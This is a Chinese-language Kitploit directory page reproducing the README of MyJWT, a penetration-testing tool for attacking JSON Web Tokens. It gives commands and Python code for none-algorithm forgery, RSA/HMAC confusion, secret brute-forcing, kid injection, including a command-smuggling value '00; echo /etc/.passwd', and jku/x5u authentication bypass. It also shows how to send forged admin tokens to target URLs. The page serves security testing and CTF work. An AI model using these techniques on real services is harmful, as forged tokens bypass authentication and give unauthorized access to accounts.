Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
MyJWT — 一个用于破解和测试Json Web Token(JWT)漏洞的CLI工具 | Kitploit
工具/GitHubGitHub/tyki6/myjwt
密码破解漏洞分析Web安全渗透测试
GitHubtyki6/myjwt

MyJWT

一个用于破解和测试Json Web Token(JWT)漏洞的CLI工具

查看仓库
1381910个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

MyJWT

mBouamama PyPI BlackArch package PyPI - Python Version PyPI - Download GitHub release (latest by date) Documentation Status Rawsec's CyberSecurity Inventory Code style: black codecov docstr_coverage codebeat badge Updates Known Vulnerabilities

简介

该命令行工具适用于渗透测试人员、CTF玩家或开发者。
你可以修改你的JWT、签名、注入等操作。
查看文档了解更多信息。
如果发现任何问题或有改进建议,请提交Issue。我会尽快回复。
祝使用愉快 :)

文档

文档位于 http://myjwt.readthedocs.io

目录

  • Features
  • Installation
  • Usage
  • Examples
  • Download
  • Contribute
  • ChangeLog

Features

  • 将新的JWT复制到剪贴板
  • 用户界面(感谢 questionary)
  • 彩色输出
  • 修改JWT(头部/载荷)
  • None算法漏洞
  • RSA/HMAC混淆
  • 使用密钥签名JWT
  • 暴力破解猜测密钥
  • 使用正则表达式破解JWT猜测密钥
  • kid注入
  • Jku绕过
  • X5u绕过

Installation

要安装myjwt,只需使用pip:

root@kitploit:~
pip install myjwt

要从Docker镜像运行myjwt,运行:

root@kitploit:~
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

从Git安装myjwt:

root@kitploit:~
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

在BlackArch上安装myjwt:

root@kitploit:~
pacman -S myjwt

Packaging status

Usage

root@kitploit:~
$ myjwt --help
Usage: myjwt [OPTIONS] JWT

  该命令行工具适用于渗透测试人员、CTF玩家或开发者。
  你可以修改你的JWT、签名、注入等操作。
  完整文档位于 http://myjwt.readthedocs.io。
  如果发现任何问题或有改进建议,请提交Issue。我会尽快回复。
  祝使用愉快 :)
  所有新的JWT将被复制到剪贴板。

Options:
  --version                    显示版本并退出。
  --full-payload TEXT          为JWT设置新的载荷。需要JSON格式。
  -h, --add-header TEXT        向JWT头部添加新的键值对,如果键已存在,旧值将被替换。格式:key=value。
  -p, --add-payload TEXT       向JWT载荷添加新的键值对,如果键已存在,旧值将被替换。格式:key=value。
  --sign TEXT                  使用给定的密钥签名JWT。
  --verify TEXT                验证你的密钥。
  -none, --none-vulnerability  检查None算法漏洞。
  --hmac PATH                  检查RS/HMAC算法漏洞。
  --bruteforce PATH            暴力破解用于签名令牌的密钥。
  -r, --crack TEXT             使用正则表达式迭代所有可能的字符串,猜测用于签名令牌的密钥。
  --kid TEXT                   kid注入(SQL)
  --jku TEXT                   Jku头部用于绕过认证
  --x5u TEXT                   X5u头部用于绕过认证
  --crt TEXT                   对于x5c头部,强制指定crt文件。
  --key TEXT                   对于jku或x5c头部,强制指定私钥文件。
  --file TEXT                  对于jku和x5u头部,强制指定文件名。
  --print                      打印解码后的JWT。
  -u, --url TEXT               发送JWT的目标URL。
  -m, --method TEXT            用于发送请求的方法(默认GET)。
  -d, --data TEXT              发送到URL的数据。格式:key=value。如果value等于MY_JWT,则该值将被新的JWT替换。
  -c, --cookies TEXT           发送到URL的Cookie。格式:key=value。如果value等于MY_JWT,则该值将被新的JWT替换。
  --help                       显示此帮助信息并退出。

Modify JWT

Check Your JWT (HS alg)

选项类型示例说明
--sign文本mysecretkey使用你的密钥签名JWT。
--verify文本mysecretkey验证你的密钥。

Exploit

Send your jwt

Other

示例

  • 修改JWT
  • None漏洞检查
  • 签名密钥
  • 暴力破解签名
  • RSA/HMAC混淆
  • Kid注入
  • 发送新的JWT到URL
  • Jku漏洞
  • X5u漏洞

Modify your Jwt

命令行

root@kitploit:~
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

代码

root@kitploit:~
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

完整示例见:01-modify-jwt

None Vulnerability

命令行

root@kitploit:~
myjwt YOUR_JWT --none-vulnerability

代码

root@kitploit:~
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

完整示例见:02-none-vulnerability

Sign Key

命令行

root@kitploit:~
myjwt YOUR_JWT --sign YOUR_KEY

代码

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

完整示例见:03-sign-key

Brute Force

命令行

root@kitploit:~
myjwt YOUR_JWT --bruteforce PATH

代码

root@kitploit:~
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

完整示例见:04-brute-force

Crack

命令行

root@kitploit:~
myjwt YOUR_JWT --crack REGEX

RSA/HMAC Confusion

命令行

root@kitploit:~
myjwt YOUR_JWT --hmac FILE

代码

root@kitploit:~
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

完整示例见:05-rsa-hmac-confusion

Kid Injection

命令行

root@kitploit:~
myjwt YOUR_JWT --kid INJECTION

代码

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

完整示例见:06-kid-injection

Send your new Jwt to url

命令行

root@kitploit:~
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Jku Vulnerability

命令行

root@kitploit:~
myjwt YOUR_JWT --jku YOUR_URL

代码

root@kitploit:~
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

完整示例见:07-jku-bypass

X5U Vulnerability

命令行

root@kitploit:~
myjwt YOUR_JWT --x5u YOUR_URL

代码

root@kitploit:~
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

完整示例见:08-x5u-bypass

下载

请查看GitHub发布页面。最新版位于 https://github.com/mBouamama/MyJWT/releases/latest

贡献

  • Fork此仓库或克隆
  • 创建一个新分支(feature, hotfix等)
  • 进行必要的更改并提交
  • 使用 make lint 检查代码风格
  • 使用 make test 检查单元测试
  • 提交Pull Request 我会尽快审核。

变更日志

日志变得相当长,已移入单独的文件。

请查看 CHANGES。

下载工具
选项类型示例说明
--ful-payloadJSON{"user": "admin"}为JWT设置新的载荷。
-h, --add-headerkey=valueuser=admin向JWT头部添加新的键值对,如果键已存在,旧值将被替换。
-p, --add-payloadkey=valueuser=admin向JWT载荷添加新的键值对,如果键已存在,旧值将被替换。
选项类型示例说明
-none, --none-vulnerability无检查None算法漏洞。
--hmac路径./public.pem检查RS/HMAC算法漏洞,并使用公钥签名JWT。
--bruteforce路径./wordlist/big.txt暴力破解用于签名令牌的密钥。使用包含所有密码的txt文件(每行一个)。
--crack正则表达式"[a-z]{4}"使用正则表达式迭代所有可能的字符串,猜测用于签名令牌的密钥。
--kid文本"00; echo /etc/.passwd"kid注入(SQL)
--jku文本MYPUBLICIPJku头部用于绕过认证,使用--file更改jwks文件名,--key指定自己的私钥PEM。
--x5u文本MYPUBLICIP对于jku或x5c头部,使用--file更改jwks文件名,--key指定自己的私钥PEM。
选项类型示例说明
-u, --urlURLhttp://challenge01.root-me.org/web-serveur/ch59/admin发送JWT的目标URL。
-m, --method文本POST用于发送请求的方法(默认:GET)。
-d, --datakey=valuesecret=MY_JWT发送到URL的数据。格式:key=value。如果value等于MY_JWT,则该值将被你的新JWT替换。
-c, --cookieskey=valuesecret=MY_JWT发送到URL的Cookie。格式:key=value。如果value等于MY_JWT,则该值将被你的新JWT替换。
选项类型示例说明
--crt路径./public.crt对于x5c头部,强制指定crt文件。
--key路径./private.pem对于jku或x5c头部,强制指定私钥文件。
--file文本myfile对于jku头部,强制指定文件名(不带.json扩展名)。
--print无打印解码后的JWT。
--help无显示帮助信息并退出。
--version无显示Myjwt版本。